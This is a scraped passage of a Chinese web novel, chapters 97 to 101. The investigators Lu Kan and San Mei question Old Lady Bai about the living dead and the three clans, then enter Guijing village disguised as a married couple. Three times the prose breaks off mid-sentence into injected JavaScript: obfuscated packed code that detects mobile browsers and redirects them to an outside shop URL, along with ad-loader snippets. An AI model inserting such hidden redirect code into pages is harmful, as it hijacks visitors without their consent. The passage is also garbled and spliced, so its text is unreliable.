d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742756|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一副土包子没见过世面的窝囊样! “你!” 裴元被呛,正欲反唇相讥,却发现自己竟然有些语塞,一时找不到反驳的点,再被陆衎轻飘飘瞟上那么一眼,吓得他立马抿紧嘴巴,不敢再多嘴多舌了。 余光瞥见这一幕,三枚在心里偷笑:许久不见,裴元这个话痨的骚包一点没变,治他果然还得是陆衎。 思想挣扎了好一会儿,白老太终于再次开口了。 “你若指的,是从密道里出来的,那些肢体僵硬、看起来奇奇怪怪的人,我确实见过不少。” 那日追着木清梅的幽灵,白老太发现了那条隐蔽的密道,在多次试图进入密道却犹如鬼打墙一般一直原地打转后,她心里便有了猜测:阿梅小姐在阻止她进入密道。 就在她放弃,打算原路返回的时候,发现了密道里传来了整齐划一的脚步声。 “我当时有些慌,回神的瞬间,发现自己不知道何时已经躲进了一旁茂密的草丛里。” 白老太躲在草丛里,紧张地吞咽着口水,等了一会儿,才看见黑咕隆咚的密道里,一下子突然涌出了好多的人来。 络绎不绝,好像永远都走不完一样的多。 那些人肢体僵硬,表情木讷,眼神空洞,却都不约而同地直视前方,步调一致地往出走着。 三枚:“他们去哪里了?” 白老太看了陆衎他们几人一眼,低声道:“川临县,古井村。” 守在人群外围的之夜,听见古井村三个字,突然瞪大双眼,看着陆衎:“大人!” 这不就是他们此行探查悬案的目的地吗? 听见声音,陆衎抬眼看向之夜,须臾轻轻点了点头。 三枚眉头一拧:“你确定?” “我后来尾随了几次,才确定的。”白老太肯定地道,“一开始因为心有余悸,我只敢躲在暗处偷看。” 黑渊隔段时间就会凭空冒出一群活死人,这是白老太观察之后的结论。 她还发现那些人木头一样,有一次被她正面撞上,自己正胡思乱想会不会被灭口的时候,那些人的瞳孔却不带晃动的,仿佛没有看到她一样,被地上的藤蔓绊倒了也无知无觉,只顾埋头前进。 白老太这才大着胆子,悄摸跟在那些人的身后,才发现他们一窝蜂的,全进了古井村里。 陆衎:“你说的这些,发生在什么时候?” 白老太摇头:“记不大清了,二十几年前的事了吧。” “除了黑渊里出来的活死人,你就没看见其他的人?”三枚又问。 白老太还是摇头:“没有。” 她面色犹豫地看了三枚一眼,有些欲言又止。 三枚杏眸微眯,丢开陆衎的衣袖,双手叉腰:“小老太,不管你心里藏着什么,趁这会儿我心情还不错,我劝你老实交代清楚了,否则的话......” 她用力拍了拍锁魂箱,意味不明地看着白老太:“哼哼。” 白老太抿了抿嘴,“我发现这条密道和这群活死人的时候,我曾经想过上报给黑山寨的族佬们。” 但事到临头,她犹豫了。 站在木府的门口,白老太突然想起了木清梅,不知怎的,突然记起她爷临死前,曾经说过的话。 “造孽啊造孽,就让一切都停在我这一代吧!黑渊的神明啊,请给我白家,一条生路吧。” 98. 第 98 章 白老太乍然想起临死前,还在为家族哭求生路的爷爷,没来由地浑身直冒冷汗。 当年她不以为然,现在一想,只觉毛骨悚然。 她当下立即改道,回到家里,屋里院外各种翻箱倒柜,结果却什么也没找到。 但她心里极其不得劲,头皮发麻浑身哆嗦,最后拿了把锄头,在一个月黑风高的夜里,孤身跑到了密林里,一把凿开她爷的墓地。 不孝不敬的白老太,在那些随葬品里,翻出了一本泛黄的残缺不全的小记。 “上面是我爷的笔迹,”白老太长长地呼出一口浊气,“虽然里面记述的内容断断续续,句不成章,语焉不详,但还是被我看出了一点端倪。” 小记的后半部分,被人蛮力撕去,只留下了前头的只言片语。 白老太抬眸,看着三枚道:“在我之前,就有人率先挖了我爷的坟。” “虽然抓不到挖坟的人,但我开始明里暗里寻听有关黑渊的消息。” 她转头看着黑黢黢的密道,声音又轻又飘:“黑渊是个灵地,是能孕育生灵的世外仙境,创立黑山寨的木、白、洪三姓的老祖宗们,从前为了修仙飞天,曾经在那里生活过一段时日,而这条密道,便是自那时便存在了。” “后来不知为何,亲密无隙的三兄弟,从黑渊出来,又联手创建了黑山寨,十年之却开始分道扬镳了。” 洪姓一族大半人手都从寨子里搬迁走了,白老太她们氏族的人口开始逐渐凋零,离寨的白家不算,单她这一支的白家,死的死病的病,最后就剩她和丑儿两人而已。 “但是我后来发现,事实并非如此。” 三枚拧眉:“什么意思?” “阿梅小姐被困云阁日渐消瘦的时候,我曾经被接过去探望过她,那一日我侯在偏门的时候,曾经瞥见了两个人。” “那两人虽然苍老了不少,但我还是认出来了。” 白老太抬头看着三枚,“一个是我白家离寨多年的一个族佬,而那位族佬的身边,是我爹小时玩伴的父亲,一位洪姓的长辈。” “虽然一晃而过,我亦是惊讶过多,其他不曾多想。” “但是多年之后,我先是阴差阳错发现了这条通往黑渊的密道,后又尾随在那群活死人的身后,躲在古井村外偷看到最后的时候,突然看见了一个拄着拐杖的长者,从村子里走了出来。” 赫然便是那位洪姓的长辈! —— 三枚:“你的意思是,这个黑渊里的活死人,是你们三姓搞的鬼?” 白老太虽然很不愿意被卷入其中,但还是点了头:“我们白家出走的人,大部分就生活在古井村的隔壁,碧水村。” 怎么感觉事情越来越复杂的样子。 三枚紧拧眉头,看着陆衎道:“你说,既然都是一伙的,为何古井村的人,最后竟落到这样的地步?” 陆衎:“无非两种情况。” “狡兔死,良犬烹,”他低头看了眼白老太,“或者,内讧乱斗,党同伐异、除之后快。” 白老太双肩一颤,陆衎和三枚默契地对视了一眼,俱都心中有数了——三姓之间有了分歧,生了嫌隙。 陆衎在心里叹了口气,忽而对着三枚问道:“你之前说要到再进黑山寨一趟,现在呢?” 依他所想,最好还是别冒险。 “我亦是这般认为的。”白老太突然说道。 “万谷节第二日,进山祭拜的人返回黑山寨的时候,你就坐在城墙边上观看,之后还被我领进了家门,虽说我的住处偏僻,但明里暗里还是有不少双眼睛在盯着,你可能也落入了有心人的眼里,被注意到了。” 白老太甚至怀疑,三枚为巧儿送魂那日,那些突然出现追打三枚的人,是寨子里故意派出去捣乱的。 还有那对行凶的姓涂两兄弟,出现的时机也是有些蹊跷。 “闭嘴。”三枚没好气地说道,她瞪着白老太:“你的信誉在我这里可是大打折扣,谁知道你现在说的话,是真是假。” 搞不好又是一场精心设计的骗局,毕竟有前车之鉴。 “你!” 好心没好报,白老太不悦地皱眉,刚抬眼就又被三枚嫌弃的眼神刺激到,她举着旱烟杆气鼓鼓地指着了三枚。 结果“你你你”了半天,说不出一句完整的话,又碍于周围气势凌人、直勾勾警惕地盯着自己的几双大眼睛,忍了忍她才重重地放下手。 呼出一口浊气,白老太平复了下情绪,方抬头对着陆衎问道:“我听这边几位称呼大人姓陆,老身想问,您可是大理寺少卿、陆衎陆大人?” “你又想干嘛!”三枚张开双臂,又将陆衎挡在了身后,“少打歪主意,我告诉你!” 见三枚防贼一样防着自己,白老太气得咬牙:“嘶!你咋这么霸道!” 陆衎眼尾一挑,微微颔首:“正是在下。” 白老太“啧”了三枚一声,问陆衎:“那大人,可曾在五年前,收到过一封信?” 信? 三枚和陆衎对视一眼,问:“什么信?” 白老太:“川临县古井村鬼村一案,当初就是我匿名去信大理寺投案的,而且我不止去了一封信,后来马大旺一家遇害,我也曾去过一封信。” 然而,第一次都城派大理寺的人来了,什么都没有查到,无功而返。 第二次去信却是石沉大海,古井村仿佛被人遗忘在了脑后,无人在意。 白老太自认已经尽力,若是连官府的人都解决不了的事,凭她一介孤寡老太,又如何敢螳臂当车? “并非无人在意。”陆衎解释道,“不管是皇上,还是我,私下都有令人继续追查此案,只不过找不到蛛丝马迹,收效甚微。” “唉。”白老太叹了口气,摇摇头道:“也怪我,怕惹祸上身,从不敢在信上多言,隐瞒了许多。” “总之,你们二位其实已是不算生面孔,但暂时还算安全。” 白老太手一抬,指着裴元他们,“这几位嘛,早一会儿的时候,在嚷嚷着要到悬崖底下寻人的时候,很可能已经被黑山寨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749126|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人盯上了。” 裴元哼了一声,满脸的不以为意,“盯上了又怎么样,我看谁敢动本世子一根汗毛?” “你可悠着点吧。”邢正睨了裴元一眼,“穷凶极恶之人,最恨的就是你这种狂妄二世祖。” “诶邢安然,你骂谁二世祖呢!我看你这半年,在都城办差没啥长进,尽练嘴上功夫去了吧。” “别吵!”三枚低喝一声,狠狠地瞪了裴元一眼。 “陆在野,你看她!”裴元立马转头朝陆衎告状。 邢正翻了个白眼,裴子钰这厮也太不知所谓了吧,竟然在陆衎面前告三枚的状! 用脚指头想,也该知道陆在野会偏帮哪边了。 果然,陆衎头都不转,只斜睨了裴元一眼,冷声道:“闭嘴!” 偏裴元这人跟脑子抽筋似的,居然以为陆衎那句“闭嘴”训的是三枚,整个人得意洋洋,尾巴快要摇上天了,还挑衅似的飞了三枚一眼。 三枚嘴角一抽,满头黑线:...... 她觉得自己错了,裴元这个话痨的花孔雀,多日不见,还是有些变化的。 变蠢了! 不仅脑子变得不好使,现在他连好看的桃花眼,都出问题了。 “真实白瞎了那么好看的一双眼睛!” 懒得跟个傻子计较,免得被传染上了傻病,三枚摇了摇头,心里腹诽几句,又将目光重新投向了白老太。 “还有呢?你还知道些什么?” 白老太看不懂这群年轻人奇奇怪怪的眉眼官司,正一脸愁容地一边出神,一边安静地抽着她的旱烟。 乍然听见三枚的声音,她先是一愣,须臾才反应过来三枚那话是在问自己。 白老太想了想,摇头道:“我现在能想到的,暂时就这么多了。” 三枚挠了挠额头,想到锁魂箱里的马大旺一家和木清梅,突然感到有些头疼。 还没开始插手呢,她已经能预知到后续肯定麻烦不断,但是若就此撒手吧,又觉得放任养尸地的背后主谋不管,未来势必酿成大祸。 而且,陆衎他们千里迢迢从都城来到这儿,就是为了彻查此案而来,她更不能眼睁睁看着他们涉险而无动于衷。 “怎么就这么难呢?我只是一个小小的寻尸人啊。”三枚揪着自己的头发,嚯地一下蹲到了地上,一脸的纠结。 “怎么了?”陆衎见三枚抓着自己的脑袋,面有难色的样子,也跟着蹲下了身子。 他握着三枚瘦弱的肩膀,“哪里不舒服吗?” “没事。”三枚皱着脸,脑袋微抬,蹙眉看着眼前的人,忽而道:“陆衎。” “嗯,你说。”陆衎看着三枚的眼睛,神色认真。 “哎,”三枚叹了口气,摇了摇头,“没事。” 撑着陆衎的手站了起来,三枚拍了拍八耳的小脑袋,“黑山寨不去了,改道古井村。” 这下换陆衎皱眉了,还没想好说辞劝退三枚,这时邢正突然上前一步,站在两人的身前,举手道:“我有话要说。” 99. 第 99 章 “我觉得,我们应该先下山,把人手召集起来再说。” 陆衎这次从都城出来,是为暗中查探古井村之谜,未免声张,除了皇上的谕旨,他表面上从大理寺就带走了邢正和之夜二人。 剩下的暗卫和护军,都被分散在了暗处。 按照白老太的说辞,此番他们要面对的敌人,除了一个黑山寨,再加上一个碧水村,还有隐藏在暗处的活死人,根本不计其数。 就算他们能以一当百,为了安全起见,还是得下山把人都集中调派起来才是。 毕竟,不怕一万,就怕万一。 “天真!” 裴元嗤笑一声,嫌弃地看着邢正,“我们之前吵嚷着要到下黑渊救人,和黑山寨那些人闹将成那样,若是突然消停,肯定令人生疑。” “还有,你猜,我们从密林里消失,到出现在密道的这段时间里,那些贼人会不会已经起了疑心了?” “现在还要浪费时间,等你组织好人手,只怕早已打草惊蛇。” “分头行动。” 陆衎也怕错过这个时机,又让藏在暗处的敌人有了戒备,之后再想案情有所突破,只怕更是难上加难。 “兵分三路,一路稳住黑山寨那边的人,一路下山分派暗卫和护军,还有一路守在碧水村附近。” 陆衎边说边思考,“至于古井村,我先进去探路,之后再从长计议。” “密道这儿,还得留一部分人,”三枚突然说道,“守株待兔,瓮中捉鳖。” “按照他们的计划,今日过后养尸地必然形成,这么重要的事情,幕后主使不可能不管。” 而且她和陆衎坠落悬崖之事,已经闹得沸沸扬扬,无论如何,那些人都势必会过来确认他们的生死。 “你们若是放心,就由我守在密道这儿。” 白老太突然出声,“武功高强,不如神出鬼没。” “我在密道周遭打转了这么些年,可以说谁都没有我熟悉这里的地形。我敢保证,帮你把人盯死的同时,自己绝对不会被人发现。” “而且我若是不小心暴露了身份,亦有回旋的余地。” 陆衎:“你?” 五年前为了不被卷入是非麻烦之中,白老太不仅没有透露过自己丁点的个人信息,而且还将黑山寨和黑渊抹得一干二净,这次却自愿举手帮忙了? 莫不是有所图谋? 白老太叹了口气,“我们白家这一支,活着的人,就剩我和阿丑两个孤寡老弱而已。” 刨坟三代,祸灭九族。 不管祖上到底造了啥孽,事已至此,她总得做点什么,稍微弥补一下,也算给自己,还有阿丑,积一点德吧。 三枚哼了一声,双手环胸,自上而下审视着白老太:“你保证?” “你拿什么保证?我们凭什么相信你?” “你们可以将阿丑带走。” 白老太:“阿丑是我白家这一支的独苗苗,重要性不用我说,你也该知道的。” “我也不作奢望,事成之后,你将那孩子毫发无损地还给我便是。” 前有狼后有虎的,这是想让他们给看孩子呢! 毕竟哪儿,都不如待在三枚和陆衎的身边安全。 裴元慢悠悠地扇着扇子,眯着眼睛,扫了白老太一眼,心里暗嗤:哼,小老太算盘打得还真响! “我突然想起了一件事。” 白老太自知心虚理亏,绞尽脑汁思考了一会儿,突然举着旱烟杆道,“虽然只是一个小小的猜测,但我觉得,可信度十有八九。” 三枚:“有话就说,卖什么关子!” 白老太抿了抿嘴:“阿丑曾经告诉过我,说她发现了古井村的一个秘密。” 陆衎:“什么秘密?” 白老太浑浊的老眼,斜睨了三枚一眼,又瞥眼看了看向陆衎,眨着眼睛,轻声道:“那群活死人,不是成双成对,便是拖家带口。” 三枚眉头一拧:“什么意思?” “意思就是,”白老太抬起枯瘦的手,指着陆衎和三枚道,“你们,必须以夫妻的身份进村。” —— “非得是夫妻?就不能是兄妹或者其他之类的?” 三枚别扭地扯着身上的衣服,花花绿绿看着特别不自在。 她现在严重怀疑,白老太这个老太婆是在变着法儿地整她。 “我阿奶为人古板又严肃,脑袋才没那么灵光咧。” 白阿丑拍开三枚的手,蹲下-身子帮忙整理三枚身上扯得皱巴巴的裙角。 “而且啊,你身上这身衣裳,可是我奶的压箱底,贵重着呢!” “哼,一股发潮的霉味,我还不稀罕呢。”三枚嫌弃地道,“就这,还能叫做压箱底?” 白阿丑笑笑,自顾爱惜地抚平三枚裙角的褶皱,一点也不在意三枚对白老太的嫌弃和挑剔。 她现在就像重获自由的小鸟,整个人欢快地就要飞起来了一样。 终于不用再男扮女装、偷偷摸摸溜出寨子,也不用被她奶抓着木棍追得嗷嗷叫了。 白阿丑不再扮丑把脸涂得乌漆嘛黑,而是一脸白净,穿得漂漂亮亮地跟在三枚的身边。 哦,对了,她待会儿就要到古井村里去了呢。 “把脸上的笑给我收好!” 三枚扯着白阿丑笑得快咧到后脑勺的嘴角,“记住了,我们不是去玩的,搞不好就要没命的,严肃点。” “哎呀,没事的。” 白阿丑心大的很,根本不把传说会吞人的古井村放在心上。 她指着自己的右眼,骄傲地道:“我奶跟你说过了吧,我这可是传说中的阴阳眼。” “若有异常,我这阴阳眼立马就能感受到。” “呵呵。” 三枚假笑两声,将阿丑推开,“行了啊,再摸就不礼貌了啊。” 烦人的阿丑消失在眼前,三枚正想呼出一口浊气,余光瞥见边上的陆衎,心头的那口气,一下子就又给堵住了。 “白老太,到底都是从哪里掏出这么些奇奇怪怪的破衣烂裳的!!” 陆衎堂堂一个风华正茂的大理寺少卿,身上居然不伦不类地套了一件旧长衫。 长衫不仅皱皱巴巴,而且袖口全起了毛,更过分的是,肩背居然还开了线,破了一个洞。 就这样一件乞丐一样的衣服,穿在陆衎的身上,完全不合身。 距离他脚腕处的地方,竟是空了一大截,露出了脚下洗得发白的鞋子。 这真的不是故意在整人吗?! 陆衎那样俊俏高贵的一张脸,穿得这样落魄,合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758626|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理吗? 三枚完全忘了,自己和陆衎初遇的时候,穿得还不如乞丐呢。 对自己形象浑不在意,她却莫名看不惯陆衎落魄的样子。 再看被整的男人,不仅一脸淡然,嘴角甚至还挂着轻轻浅浅的微笑,心情还挺愉悦的样子。 三枚双眼一闭,不去看那陆衎脚下的鞋子,到底有没有破洞,而是咬着牙道:“陆衎,你赶紧把衣服换了!” 正思考着要如何与三枚扮演好一对夫妻的陆衎,思绪突然被打断,不由愣了片刻。 回神后,他笑望向三枚,温声问道:“怎么了?” “怎么了?你问我怎么了?你自己低头看看。” 三枚都不敢怎么用力拉扯陆衎身上的衣服,看着陆衎一脸怒其不争。 “老太婆让你穿成这哇样,你也同意?” 陆衎眨眨眼,低头看着自己身上的长衫,虽然布料粗糙,穿起来不怎么舒服,但为了能跟三枚扮演一堆夫妻,他也不是不能忍。 三枚却忍无可忍,低声喝他:“把衣服脱了,换一身新的。” 她就是见不得陆衎一副落魄的样子,心里发堵。 好看的人,就得穿好看的衣服,漂漂亮亮的,才赏心悦目。 陆衎正想说话,他和三枚之间突然探出一个小脑袋。 白阿丑仰头看了陆衎一眼,插嘴:“不能脱。” 三枚眉头一拧,“有你插嘴的份吗?” “哎呀,你听我说呀,”白阿丑一点不怕冷脸的三枚,挥了挥手。 “你俩现在扮演的是落魄书生和千金小姐,不仅私定终身,还为爱走天涯的,这么样的一对夫妻。” 振振有词的白阿丑,边说边点头,小手在陆衎的身前比了比,“他穿成这样,合情合理!” 陆衎抿唇,强压嘴角的笑意,轻声道:“她,说得还挺有道理。” “嘶!”三枚皱眉睨了他一眼,而后瞪着白阿丑,捧着陆衎的脸道:“你见过长这样贵气的落魄书生?” 陆衎眨眨眼,面带微笑,主动将下巴放到了三枚的掌心。 “就是因为书生长得这般卓尔不凡、风度翩翩,才将小姐迷得神魂颠倒,不惜为了他离家出走。” 三枚一噎:...... 这家伙,说得还挺有道理! 差点被说服的三枚,视线突然盯在阿丑的衣服上:“那你呢?你一个演丫鬟的,怎么穿得也这样好看。” “嘿嘿。”阿丑摸着后脑勺,憨憨一笑,“我是小姐您的贴身丫鬟,自然得比照着您来。” “我奶说了,富贵人家的小姐,身边总有那么一个得用的丫鬟,而这丫鬟呀,可是副小姐一般的待遇哩。” “啧。”三枚嫌弃地皱着脸,忍了忍,最后决定无视陆衎糟糕的着装,一把将他的脸推开,背着锁魂箱“哒哒哒”往前走。 “诶,小姐,你等等。” 白阿丑飞快入戏,连忙追在疾走的三枚的身后,捏着嗓子大声呼喊:“诶,小姐,要走小碎步,不能走得那样狂放啊......” “还有,箱子得让穷书生背着,我还得准备一个小包裹,等等、等等啊喂......” 留在原地的陆衎,看着前方一大一小的身影,倏而垂眸,低笑一声,也跟着迈开了步子。 100. 第 100 章 根据白老太提供的信息,陆衎和三枚商量过后,率先令之夜与暗卫联系,先行分散在碧水村和古井村附近,暗中盯守。 邢正则带着自己的手下,留守黑山寨,一为监视牵制寨子里的人,二为混淆视听。 至于裴元,当然是充分利用他镇国公世子爷的身份,快马加鞭到临洲的恒老王爷那儿,把皇上给的护军带来。 一个寨子两个村,到时候若是起了冲突,让装备齐整的护军镇压起来才方便。 而黑渊那地儿,虽然三枚对白老太意见不少,但还是接受了她的提议,就让她自个儿应付去了。 最后是三枚和陆衎,则是被白老太半强迫半哄骗,带着欢脱得像个猴儿似的阿丑,假作长途奔波、风尘仆仆路过古井村的小夫妻。 白老太给的戏本是:小夫妻私奔逃亡,一路吃尽苦楚,见天色渐黑,害怕露宿街头,不得已进村借宿一宿。 三个人里,只有白阿丑分外入戏,兢兢业业扮演着她的小丫鬟,一路上又是伸手搀扶三枚,又是低声提醒她注意脚下。 可谓无微不至,贴心细致。 三枚却差点叫她做作的腔调,和滑稽的肢体动作逗笑。 为了骗过可能躲在暗处盯梢的眼睛,她只好忍着恶心,一边憋笑一边朝古井村走去。 陆衎跟在三枚的身边,亦步亦趋。 他神情戒备,眼睛时不时警惕地左右张望,但最后的视线,总是不由自主地落在三枚的身上。 直到进入了古井村,轻松的氛围才陡然一变,三人自动进入了严肃的状态。 阿丑皱着眉头,压着声音在三枚的耳边道:“我的眼睛,好不舒服。” 她使劲眨了眨有些酸痛的右眼,扶着三枚胳膊的手,害怕地抓得紧紧的。 阿丑的阴阳眼,还挺敏感,一下子就感受到了空气里的不对劲。 “放轻松。”三枚拍了拍她的手背,“若实在难受,就把眼睛垂下,看着自己的脚尖走路。” “怎么了吗?” 虽然感觉到周遭流动的空气有些阻滞,但陆衎身体并没有任何不适的感觉。 三枚摇头:“她体质偏阴,所以比较敏感。” 说话的间隙,他们已经不知不觉地走过了好几户人家。 诚如陆衎之前所言,古井村虽然久不住人,却一点没有荒废萧索的迹象。 久不住人的房子,不仅没有杂草丛生,街头巷尾反而干燥洁净,仿佛每日都有人定时清扫一般。 周遭死气沉沉,但除了有些阴冷,却是一丝煞气都没有。 “要休息一会儿吗?”陆衎挽起袖子,轻轻拭过三枚有些汗渍的额角,柔声问道。 三枚杏眸飞快眨了眨,眼珠子灵活地转了一圈,凑到陆衎身边,小心地问:“还演啊?” 害怕的白阿丑,也黏在三枚的身边,跟着将小脑袋往前凑,她踮着脚尖,颤巍巍地道:“演吧,我奶说了,小心驶得万年船。” 陆衎轻笑一声,无视亮得发光的白阿丑,认真地看着三枚,“我对你的关心,可不是演的。” “啊?”面对陆衎突如其来的小表白,三枚愣了一下,反应过来后,小脸莫名一红。 她努力瞪大眼睛,声若蚊蝇地“哦”了一下。 将阿丑的小脑袋往下一按,三枚抿着嘴,扭扭捏捏地摇了摇头:“我不累。” 陆衎看着三枚快要将阿丑的手指扭成了麻花,想了想道:“自然些便是。” “哦。”三枚丢开阿丑的手,忽而双手叉腰,“那就先转上一圈,看看周围有没有可疑的地方。” —— 然而直到太阳落山,三枚都没有找到村子里散发着阴气的源头,诡异的地方倒是发信了不少。 不过天色渐暗,他们最后随便寻了间茅草房,打算稍事休息在说。 就在三枚打算闭眼假寐一会儿的时候,阿丑突然原地弹起,指着窗外,压着声音低吼道:“啊啊啊,鬼啊啊啊!!!” 三枚猛然睁眼,余光瞥见门外快速飘过一个黑影。 “陆衎。” 她的声音还未落地,陆衎便一阵风似地夺门而出,一下子就按住了外头作怪的黑影。 “啊!大人饶命啊......” 三枚慢了一步,追出来的时候,就见陆衎正拖着一个浑身穿得黑咕隆咚的少年。 “你是谁?” 少年将头一抬,露出了黝黑方正的脸庞,“我——” “白墨,你怎么会在这里?” 白阿丑突然从三枚的身后蹦了出来,指着少年,大声道:“谁派你来的?” 三枚拧眉,沉声道:“认识?” “他叫白墨,是我们白家的另一分支。” 阿丑小手往外一指,睁大眼睛看着三枚,说:“他就住在隔壁的碧水村里!” —— “说!”阿丑用力拍桌,大声喝道:“谁派你来的!” 少年跪在地上,一脸愁容,舔了舔唇:“我——” “啪!” 不等人开口说完话,阿丑又一掌拍在桌上,“少装可怜,快快从实招来!” 三枚扶额,扯了扯陆衎的袖子,指着阿丑说:“你让她小点声。” 非得这么大声嚷嚷,是怕动静闹不大还是咋地? 虽然两个小屁孩,故意装着不是很熟悉的样子,但是,就他们这么眉来眼去的脚演技,也太粗糙了点吧。 陆衎顺势握住了三枚的手,轻轻咳了一声,睨了阿丑一眼,故意低声道:“阿丑,你家小姐有些累了。” 三枚瞪眼:你也演? “啊?”听见陆衎的声音,阿丑一愣,接着眼睛一亮,瞬间入戏。 她装作一脸急切的样子,小跑着扑向三枚,“小姐,您怎么的了?” 三枚嘴角一抽:...... 斜睨了陆衎一眼,三枚揉着额角,配合道:“没事,就是吓到了。” “你、你真是阿丑啊?” 那个叫做白墨的少年,突然指着阿丑,一脸惊诧地道,“你居然是女的!” “女的怎么啦!”阿丑扭头瞪眼。 白墨摆手:“没、没怎么,我就是——” “废话少说!” 阿丑哼了一声,双手掐着腰,恶狠狠地道:“哼哼,别想着转移话题耍花招,若是你还不老实回答问题,信不信我大嘴巴子抽死你!” 白墨被她的动作吓了一跳,捂着脑袋缩到一边。 “我、我就是、就是看你长得很眼熟,就、跟在你们身后了......” “呔!”阿丑又是一声喝骂,“你个臭小子,鬼鬼祟祟跟在我们身后,心里打着什么鬼主意呢?” 白墨小脸略显扭曲,看了三枚一眼,又觑着阿丑得意眼色,弱弱地道:“没,没有啊!” 阿丑却是步步紧逼,直把人逼得缩到了角落里。 白墨:“我就是觉得你很眼熟,一直想不起来,又看你们居然进了古井村......” “自从轮到我守着古井村的活儿后,还从来没见过有人敢进村来呢。” 古井鬼村的名儿,说出来就足够吓唬人了,怎么可能还有人愿意上这儿来。 “守村?” 三枚一下子就抓住了重点,“你一个碧水村的,守着古井村作甚?” 陆衎也跟着道:“谁让你守着的?” “我、”白墨咽了咽口水,支支吾吾,“我们、都是自发的......其实我们碧水村的村长,是个善良的好人,自从古井村出事以来,觉得那些突然失踪的人,太可怜太无辜了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “为了避免出现更多的受害者,他每年都会在村里选一两个人,有事没事守在古井村附近,若是出现什么可疑的人,立即上报。” 上报?难道不该阻止人进村吗? 三枚挑眉,跟陆衎交换了下眼神,没有断然打断少年的话,安静地听着他继续说道。 “我、我是三年前才抽中守村的活儿的,每日闲来无事,就在古井村附近晃悠。” 日复一日,他总是踩着点儿,鸡还没鸣啼便出门,太阳落山便归家。 没想到平时一只鸟雀都极难碰见的古井村,今日却让他一一下子就撞上了三个擅自进村的大活人。 其中一个小少女,竟然还跟他以前认识的一个哥们,长得一模一样。 “你真是白阿丑?”白墨到现在还有些不可置信。 阿丑昂首挺胸:“正是你姑奶奶,怎么着!” 白墨皱眉:“你怎么突然变成女的啦?” “我本来就是女的!” 阿丑挥着拳头,“只是世间险恶,人情凉薄,为了行走江湖,我难免需要乔装一二。毕竟,防人之心不可无呀。” 三枚一脸嫌弃:这家伙,吹牛都不打草稿。 只是在寨子门口瞎溜达几圈,怎么就成了闯荡江湖了? 关键是对面的少年,居然还一脸信服地点点头,“亏你想得到,你可真聪明!” “呵。”陆衎掩唇,忍不住轻笑了一声。 三枚小声嘟哝:“你也觉得无语吧。” 小孩子家家的,就是瞎闹腾。 白墨感叹完,指着三枚,好奇地问阿丑:“那你、你怎么喊她小姐啊?” 阿丑说话不过脑,脱口而出:“哦,我奶把我卖了。” “哦。” 白墨点点头,过了一会儿,觉得不对劲,反应过来后,猛然抬头,音量瞬间拔高:“卖、卖了?!!” 阿丑耸肩又摊手,微笑道:“对啊。” 白墨一脸震惊,瞠目咋舌地看着三枚,又看看阿丑,再小心地瞄了陆衎一眼。 他不可置信地问道:“不、不是吧?” “够了。” 三枚实在看不过眼,也不想听阿丑继续胡说八道了。 白老太若是知道阿丑在外面是这样口无遮拦败坏她名声的,可能会拿旱烟杆敲碎她的头盖骨。 陆衎轻咳一声,指着阿丑说:“她其实,是在为我们带路的。” 三枚挠了挠下巴,看着白墨,“现在我问你,你刚才躲在外面鬼鬼祟祟的,想做什么?” 白墨瞪着大眼睛:“我没想做什么啊,我只是、想吓唬吓唬你们,让你们赶紧离开这儿。” “所以,你一路都跟着我们,没有回村告诉你们村长?” 白墨点头,“虽然村长的意思,是让我们一旦发现了可疑的人,不要声张立即回村禀报,但我觉得,应该先拦住你们,别让你们出事才对。” 所以他半道又折回来了。 没想到三枚他们脚程那么快,一会儿不见,带着人就已经进村,走得看不见身影了。 陆衎眼尾一挑,冷声问道:“古井村,就你一人看守着?” “嗯,以前是四五人一组的,因为早先年有些不知死活的人,抱着侥幸心理,想占便宜的人不少。” 后来鬼村吞人的传言越演越烈,成了令人闻风丧胆的存在后,根本就没人敢乱来,守村的人,就减少到一人了。 三枚:“那你怎么敢只身跟在我们的后头,就不怕也被鬼村吞没?” “不怕啊。” 白墨蹲得双脚发麻,干脆一屁股坐在了地上。 他忍着蚂蚁啃噬一样的酸麻,一边用力敲着两条腿,一边皱着脸道:“你们可能不知道,其实鬼村并不是什么人都吞。” 101. 第 101 章 三枚不动声色地瞥了陆衎一眼,发现陆衎也正好看向自己。 两人默不作声地对视了一瞬,什么都没说。 按下几次三番都想插嘴的阿丑,三枚慢声问道:“什么意思?” 看不懂三枚在跟陆衎打什么眼色,白墨挠了挠有些发痒的脸颊,愣愣地回答:“我曾经无意中撞见过,村长压着声音在训斥我们碧水村的一个瞎眼老妪。” 原来每月十五,村长都会让老妪到鬼村的农田里上香。 但那老妪是个眼高手低的,为了贪墨银钱,私下竟将檀香换成了粗制的便宜货。 